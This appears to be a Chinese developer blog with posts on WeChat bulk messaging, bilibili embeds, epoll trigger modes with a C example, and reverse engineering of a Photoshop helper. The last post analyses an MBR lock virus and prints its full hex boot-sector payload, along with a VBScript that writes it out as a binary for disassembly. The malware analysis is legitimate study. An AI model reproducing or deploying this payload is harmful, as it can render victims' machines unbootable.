分析
分析

微信模板消息群发

在对用户群发消息的时候出现一些问题(发送用的zoujingli的封装):

1、循环发送150条,实际只到30-90之间。

2、用sleep for循环发送又会出现只发送1条或者2条的现象

思考:

1、是否是客户端已经断开 PHP脚本终止执行。

查看PHP的连接处理:https://www.php.net/manual/zh/features.connection-handling.php

  • 0 - NORMAL(正常)

  • 1 - ABORTED(异常退出)

  • 2 - TIMEOUT(超时)

所以有所怀疑是TIMEOUT,解决方法:set_time_limit 设置脚本超时时间

2、设置超时时间还是无效考虑是不是发送的频繁了

由于Sleep函数出现打断问题,所以使用 time_sleep_until 结果又出现了问题:150条发送了160次。有重复的。

3、是不是推送的太频繁微信队列问题

于是使用阿里的队列来进行逐个的推送,首先将用户推送到阿里的队列,然后在一个一个的从阿里的队列上取出来,推送给微信。结果又发现一个阿里的问题,显示的消息数一直在80与96两个数来回切换。而微信已经推送了100多条了。这个不影响功能,当阿里推送完毕我查看了一下阿里的消息数153条。而数据库的判断字段也没有了。也就是说脚本确实多推送了一些。怀疑是睡眠问题,于是将睡眠代码去掉,然后将脚本时间设置为0。

屏幕快照 2020-02-23 下午10.20.54.png

这次推送到阿里很准确,只有150条,原先推了153条。但是有个问题,微信的推送走的很慢,很长时间才会走一个推送。不过起码比没有强。准确度还有待检测。因为确实太慢了,就不等了,明天直接一个微信工单吧。

解决方法:

阅读全文»

bilibili 分享去弹幕

bilibili的嵌入代码分享是带有弹幕的,例如

<iframe src="//player.bilibili.com/player.html
?aid=73063889&cid=124966852&page=1" scrolling="no" 
border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>

但是会发现分享出去的代码是带有弹幕的,怎么去掉弹幕,首先直接访问一下

player.bilibili.com/player.html?aid=73063889&cid=124966852&page=1

会发现出现一个player-selector.js

通过这个js可以发现有一些默认配置项。其中存在danmaku参数,将它加入到URL地址里。

&danmaku=0 即为去弹幕。

也希望bilibili能够有更多的分享配置。

epoll 电平触发、边沿触发

看视频里有一句话有疑问,所以看了下电平触发和边沿触发。这句话是:“在复用IO里必须使用阻塞模式”这句话是错误的

epoll 对文件描述符有两种操作模型:电平触发(LT)、边沿触发(ET)。select 和 poll 模型只有电平触发。

电平触发:也就是只有高电平(1)或低电平(0)时才触发通知。

边沿触发:只有电平发生变化(高电平到低电平,或者低电平到高电平)的时候才触发通知。

1571123733(1).png

由于上升沿和下降沿是电压发生变化而产生的,所以可以理解为边沿触发只有发生变化才会触发

而高电平低电平是可以一直保持的,可以看到高电平②是比高电平①要长的,是因为IIC传输数据的时候是两条线,有一条时间线,所以在一段时间内可以一直高电平或者低电平也没事。所以电平触发会一直通知,直到状态发生改变。由高电平转到低电平,由有数据变为无数据,否则会一直提示即使缓冲区里面的数据没有读完也是会提示你继续读取。

这里只是以电平的转换过程来理解LT和ET模式,并不是说功能的实现是高低电平,只是一种理解方式或者说是实现的原理上差不多。

电平触发指的是:当存在一个读写事件的时候,epoll会发送消息,也就是会从睡眠状态中醒来,然后继续走代码,如果没有事件发生,会一直堵塞,下面的代码不会触发。如果这个事件到来,比如读事件到来后,可以暂时不做处理,当下次循环的时候,会继续触发这个事件,可以在读取。直到内存中的数据被你读完。这个读的事件在下次循环的时候才不会触发。否则会一直触发。


边沿触发和电平触发恰恰相反,如果你这次事件不处理,那么下次这个事件不会继续通知。所以在性能方面边沿触发要更好一些,因为从睡眠醒来的次数比较少。边缘触发注意的是:如果你这次事件读取的内容没有读取完成,还剩余一部分,那么下次不会触发读事件,但是如果有新的数据写入到文件描述符,那么读事件会再次触发。


水平触发(原文)

1. 对于读操作

只要缓冲内容不为空,LT模式返回读就绪。

2. 对于写操作

只要缓冲区还不满,LT模式会返回写就绪。

边缘触发

1. 对于读操作

(1)当缓冲区由不可读变为可读的时候,即缓冲区由空变为不空的时候。

(2)当有新数据到达时,即缓冲区中的待读数据变多的时候。

(3)当缓冲区有数据可读,且应用进程对相应的描述符进行EPOLL_CTL_MOD 修改EPOLLIN事件时。

2. 对于写操作

(1)当缓冲区由不可写变为可写时。

(2)当有旧数据被发送走,即缓冲区中的内容变少的时候。

(3)当缓冲区有空间可写,且应用进程对相应的描述符进行EPOLL_CTL_MOD 修改EPOLLOUT事件时。

epool 更改LT、ET模式

epoll事件结构

    typedef union epoll_data {
        void    *ptr;
        int      fd;
        uint32_t u32;
        uint64_t u64;
    } epoll_data_t;
    struct epoll_event {
        uint32_t     events;    /* Epoll events */
        epoll_data_t data;      /* User data variable */
    };

events可以包含两种:

LT:EPOLLIN(默认模式)

ET:EPOLLET

填充相应的方式即可更改触发模式。

代码解释

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <pthread.h>
#define MAX_EVENT_NUMBER 1024
#define BUFFER_SIZE 10
int setnonblocking( int fd )
{
    int old_option = fcntl( fd, F_GETFL );
    int new_option = old_option | O_NONBLOCK;
    fcntl( fd, F_SETFL, new_option );
    return old_option;
}
void addfd( int epollfd, int fd, bool enable_et )
{
    epoll_event event;
    event.data.fd = fd;
    event.events = EPOLLIN;
    if( enable_et )
    {
        event.events |= EPOLLET;
    }
    epoll_ctl( epollfd, EPOLL_CTL_ADD, fd, &event );
    setnonblocking( fd );
}
void lt( epoll_event* events, int number, int epollfd, int listenfd )
{
    char buf[ BUFFER_SIZE ];
    for ( int i = 0; i < number; i++ )
    {
        int sockfd = events[i].data.fd;
        if ( sockfd == listenfd )
        {
            struct sockaddr_in client_address;
            socklen_t client_addrlength = sizeof( client_address );
            int connfd = accept( listenfd, ( struct sockaddr* )&client_address, &client_addrlength );
            addfd( epollfd, connfd, false );
        }
        else if ( events[i].events & EPOLLIN )
        {
            printf( "event trigger once\n" );
            memset( buf, '\0', BUFFER_SIZE );
            int ret = recv( sockfd, buf, BUFFER_SIZE-1, 0 );
            if( ret <= 0 )
            {
                close( sockfd );
                continue;
            }
            printf( "get %d bytes of content: %s\n", ret, buf );
        }
        else
        {
            printf( "something else happened \n" );
        }
    }
}
void et( epoll_event* events, int number, int epollfd, int listenfd )
{
    char buf[ BUFFER_SIZE ];
    for ( int i = 0; i < number; i++ )
    {
        int sockfd = events[i].data.fd;
        if ( sockfd == listenfd )
        {
            struct sockaddr_in client_address;
            socklen_t client_addrlength = sizeof( client_address );
            int connfd = accept( listenfd, ( struct sockaddr* )&client_address, &client_addrlength );
            addfd( epollfd, connfd, true );
        }
        else if ( events[i].events & EPOLLIN )
        {
            printf( "event trigger once\n" );
                // ET模式下,需要循环读取数据。
                //直到返回EAGAIN,因为下次不会通知。
            while( 1 ) 
            {
                memset( buf, '\0', BUFFER_SIZE );
                int ret = recv( sockfd, buf, BUFFER_SIZE-1, 0 );
                if( ret < 0 )
                {
                    if( ( errno == EAGAIN ) || ( errno == EWOULDBLOCK ) )
                    {
                        printf( "read later\n" );
                        break;
                    }
                    close( sockfd );
                    break;
                }
                else if( ret == 0 )
                {
                    close( sockfd );
                }
                else
                {
                    printf( "get %d bytes of content: %s\n", ret, buf );
                }
            }
        }
        else
        {
            printf( "something else happened \n" );
        }
    }
}
int main( int argc, char* argv[] )
{
    if( argc <= 2 )
    {
        printf( "usage: %s ip_address port_number\n", basename( argv[0] ) );
        return 1;
    }
    const char* ip = argv[1];
    int port = atoi( argv[2] );
    int ret = 0;
    struct sockaddr_in address;
    bzero( &address, sizeof( address ) );
    address.sin_family = AF_INET;
    inet_pton( AF_INET, ip, &address.sin_addr );
    address.sin_port = htons( port );
    int listenfd = socket( PF_INET, SOCK_STREAM, 0 );
    assert( listenfd >= 0 );
    ret = bind( listenfd, ( struct sockaddr* )&address, sizeof( address ) );
    assert( ret != -1 );
    ret = listen( listenfd, 5 );
    assert( ret != -1 );
    epoll_event events[ MAX_EVENT_NUMBER ];
    int epollfd = epoll_create( 5 );
    assert( epollfd != -1 );
    addfd( epollfd, listenfd, true );
    while( 1 )
    {
        int ret = epoll_wait( epollfd, events, MAX_EVENT_NUMBER, -1 );
        if ( ret < 0 )
        {
            printf( "epoll failure\n" );
            break;
        }
    
        lt( events, ret, epollfd, listenfd );
        //et( events, ret, epollfd, listenfd );
    }
    close( listenfd );
    return 0;
}

关于触发模式的选择

1.对于监听的sockfd,最好使用电平触发模式,边沿触发模式会导致高并发情况下,有的客户端会连接不上,因为事件可能只会触发一次。如果非要使用边沿触发,网上有的方案是用while来循环accept()。

2.对于读写的connfd,电平触发模式下,阻塞和非阻塞效果都一样,不过为了防止特殊情况,还是建议设置非阻塞,因为有的时候,电平触发已经发送事件,但是这个时候缓冲区的数据还未写,调用recv的时候有可能会出现堵塞状态,这是一种极端情况。

3.对于读写的connfd,边沿触发模式下,必须使用非阻塞IO,并要一次性全部读写完数据,因为如果设置成堵塞,你第一次数据没有读写完,那么不会再次epoll事件,你的recv会一直堵塞下去,直到有新的事件产生,你的recv才会再次收到事件,然后读写数据。如果是非堵塞的话,那么可以用while(1)来一直读数据。而不必等待事件


Assistor PS 分析

微信截图_20190806163246.png

Assistor PS  :Save Your Valuable Time (节省你的宝贵时间)

初看Assistor PS让我觉得惊为天人,不需要以插件的形式存在就可以进行读取图层,并且为每个图层进行标注,裁剪,距离计算等等一系列比较黑科技的功能。于是安奈不住分析一下。

微信截图_20190806163744.png

界面做的很漂亮,然后有几个按钮,本来想直接找按钮底下的事件,发现不是太好找,于是换了个思路,查找热键对应的事件。

反编译找到如下代码

GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D1).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D2).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D3).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.D4).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.Q).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.W).Pressed = OnHotKeyPressed;
GlobalHotKey.Register(hwndSource.Handle, ModifierKeys.Alt, GlobalHotKey.Keys.E).Pressed = OnHotKeyPressed;

然后找到回调事件

switch (e.Key)
{
    default:
        return;
    case GlobalHotKey.Keys.D1:
        Tool.ExecutePosition();
    break;
    case GlobalHotKey.Keys.D2:
        Tool.ExecuteSize();
    break;
    case GlobalHotKey.Keys.D3:
        Tool.ExecuteDistance();
    break;
    case GlobalHotKey.Keys.D4:
        Tool.ExecuteText();
    break;
    case GlobalHotKey.Keys.Q:
        Tool.ExecuteGuideBox();
    break;
    case GlobalHotKey.Keys.W:
        Tool.ExecuteSnips();
    break;
    case GlobalHotKey.Keys.A:
        Tool.ExecuteDescription();
    break;
}

发现作者是将一些操作封装了一下,查看这个Tool类。

public void ExecutePosition()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Position, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Position, this.()));
}
public void ExecuteSize()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Size, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Size, this.()));
}
public void ExecuteText()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Text, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Text, this.()));
}
public void ExecuteDistance()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Distance, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Distance, this.()));
}
public void ExecuteGuideBox()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_GuideBox, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.GuideBox, this.()));
}
public void ExecuteSnips()
{
    this.AppendLog(LogType.Information, LogSubType.Execute, AssistorLogType.LayerDescriptor_Snips, string.Empty, string.Empty);
    this.(ScriptProvider.Execute(ScriptMethodType.Snips, this.()));
}

然后有一个ScriptProvider,这里面有一些比较好的进程之间的写法,总的来说,通过ScriptMethodType判断你的执行操作类型,然后执行Photoshop的JSX脚本。

ScriptMethodType类型

public enum ScriptMethodType
{
    Position,
    Size,
    Text,
    Distance,
    GuideBox,
    Snips,
    Description,
    Document,
    Guides,
    GuidesHCenter,
    GuidesVCenter,
    GuidesClear,
    Rounder,
    Tiler,
    Capture
}

JSX脚本

  1.     JSX.WIT.Photoshop.Application.jsx

  2.     JSX.WIT.Photoshop.Common.jsx

  3.     JSX.WIT.Photoshop.Document.jsx

  4.     JSX.WIT.Photoshop.DrawingContext.jsx

  5.     JSX.WIT.Photoshop.JSON.jsx

  6.     JSX.WIT.Photoshop.Parameter.jsx

  7.     JSX.WIT.Photoshop.Parser.jsx

  8.     JSX.WIT.Photoshop.Polygons.jsx

  9.     JSX.WIT.Photoshop.Processor.jsx

  10.     JSX.WIT.Photoshop.Script.Capture.jsx

  11.     JSX.WIT.Photoshop.Script.Distance.jsx

  12.     JSX.WIT.Photoshop.Script.Export.jsx

  13.     JSX.WIT.Photoshop.Script.GuideBox.jsx

  14.     JSX.WIT.Photoshop.Script.Guides.jsx

  15.     JSX.WIT.Photoshop.Script.GuidesClear.jsx

  16.     JSX.WIT.Photoshop.Script.GuidesHCenter.jsx

  17.     JSX.WIT.Photoshop.Script.GuidesVCenter.jsx

  18.     JSX.WIT.Photoshop.Script.jsx

  19.     JSX.WIT.Photoshop.Script.Position.jsx

  20.     JSX.WIT.Photoshop.Script.Rounder.jsx

  21.     JSX.WIT.Photoshop.Script.Size.jsx

  22.     JSX.WIT.Photoshop.Script.Snips.jsx

  23.     JSX.WIT.Photoshop.Script.Text.jsx

  24.     JSX.WIT.Photoshop.Script.Tiler.jsx

可以发现名字和ScriptMethodType自定义类型是一致的。

部分脚本源码

function Photoshop() {
    
    
    var desc = new ActionDescriptor();
    var ref = new ActionReference();
    ref.putProperty(typeID("Prpr"), typeID("PbkO"));
    ref.putEnumerated(typeID("capp"), typeID("Ordn"), typeID("Trgt"));
    desc.putReference(typeID("null"), ref );
    
    var pdesc = new ActionDescriptor();
    pdesc.putEnumerated(typeID("performance"), typeID("performance"), typeID("accelerated"));    
    desc.putObject(typeID("T   "), typeID("PbkO"), pdesc );
    executeAction(typeID("setd"), desc, DialogModes.NO);
    
}
Photoshop.prototype.SetPanelVisibility = function(panelName, visible)
{
    try {
        var desc = new ActionDescriptor();
        var ref = new ActionReference(); 
        ref.putName( stringIDToTypeID( "classPanel" ), panelName ); 
        desc.putReference( charIDToTypeID( "null" ), ref ); 
        executeAction( stringIDToTypeID( visible ? "show" : "hide"), desc, DialogModes.NO );  
    }
    catch(ex)
    {
    }
        
 
}
Photoshop.prototype.SetLayersPanelVisibility = function(visible)
{
    this.SetPanelVisibility('panelid.static.layers', visible);    
}
Photoshop.prototype.GetActiveDocument = function(){
    return new Document(this, this.GetActiveDocumentId());        
    
};
Photoshop.prototype.GetActiveDocumentId = function(){
    try {        
        var documentReference = new ActionReference();
        documentReference.putProperty(typeID("Prpr"), typeID("DocI"));
        documentReference.putEnumerated(typeID("Dcmn"), typeID("Ordn"), typeID("Trgt"));
        var documentDescriptor = executeActionGet(documentReference);
        return documentDescriptor.getInteger(typeID("DocI"));    
    }
    catch(ex) {
        return -1;        
    }
};
Photoshop.prototype.SetActiveDocument = function(document) {
    
    this.SetActiveDocumentFromId(document.DocumentId);
};
Photoshop.prototype.SetActiveDocumentFromId = function(documentId) {
    
    var documentDescriptor = new ActionDescriptor();
    var documentReference = new ActionReference();
    documentReference.putIdentifier(typeID("Dcmn"), documentId);
    documentDescriptor.putReference(typeID("null"), documentReference);
    executeAction(typeID("slct"), documentDescriptor, DialogModes.NO);
};
Photoshop.prototype.GetRulerUnits = function() {
    return preferences.rulerUnits; 
};
Photoshop.prototype.SetRulerUnits = function (rulerUnits) {
    preferences.rulerUnits = rulerUnits;
};
Photoshop.prototype.GetTypeUnits = function () {
    return preferences.typeUnits;
};
Photoshop.prototype.SetTypeUnits = function (typeUnits) {
    preferences.typeUnits = typeUnits;
};


【闲篇】对一款MBR病毒的分析

MBR是主引导记录,能不能进入系统全指望它。现在有些病毒也瞄上了它。刚看帖看到一个人说中了这种病毒,并给了一个样本,所以就分析一下。如有错误还望指出。


中毒后表现:(由于第一次直接解密后mbr已经清掉。所以显示的ID和分析的不一致。)


屏幕快照 2019-01-15 下午10.04.59.png


主程序是一个vm加壳后的程序,运行后有一个界面,有一个按钮,点击后会重写你的mbr,mbr代码如下。


屏幕快照 2019-01-15 下午9.57.39.png


上述是mbr的十六进制展示格式,要分析的话还是需要转换成字节。写了个VBScript的脚本来做转换。



WriteData = "E900008CC88ED88ED08EC0BC0001BDED7CBBED7CE8B00089C1B80113BB0C00B200CD10B800B805A0008ED831C931DB31C0CD163C0874133C0D741BB402880788670181C3020041E9E5FF81EB02004931C08907E9D9FF8CC88EC031DBBEDA7C2E8A0ED97CB5003E8A07268A2438E0753181C3020046E2EF31C0B8007E8EC031DBB402B280B001B600B500B103CD1331DBB280B403B001B600B500B101CD13E91D00BB00B881C33800B05888072E8B0ED97C31C0890781C30200E2F8E945FFB8FFFF50B8000050CB51533E8A0F80F90074054340E9F3FF595BC307394439373346670000000000000000000000005151333339363239363734370D0A5151333131303038333234380D0A0D0A594F5552204944203D2042433033620D0A0D0A42793A58692059616E672059616E67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055AA"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetFolder(".").Path & "\1.exe"
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
msgbox Mid(WriteData,i,2)
FileObj.Write chrw(cbyte("&h" & mid(WriteData,i,2)))
Next
FileObj.Close
End If


然后分析这个1.exe就可以了,拖到ida里,代码很少,只有512个字节,这也是mbr的固定大小。可以看到如下的关键代码,为了方便观看,所以备注了。



其中的39H,44H,39H,37H,33H,46H,67H就是密码。转成字符串就可以了。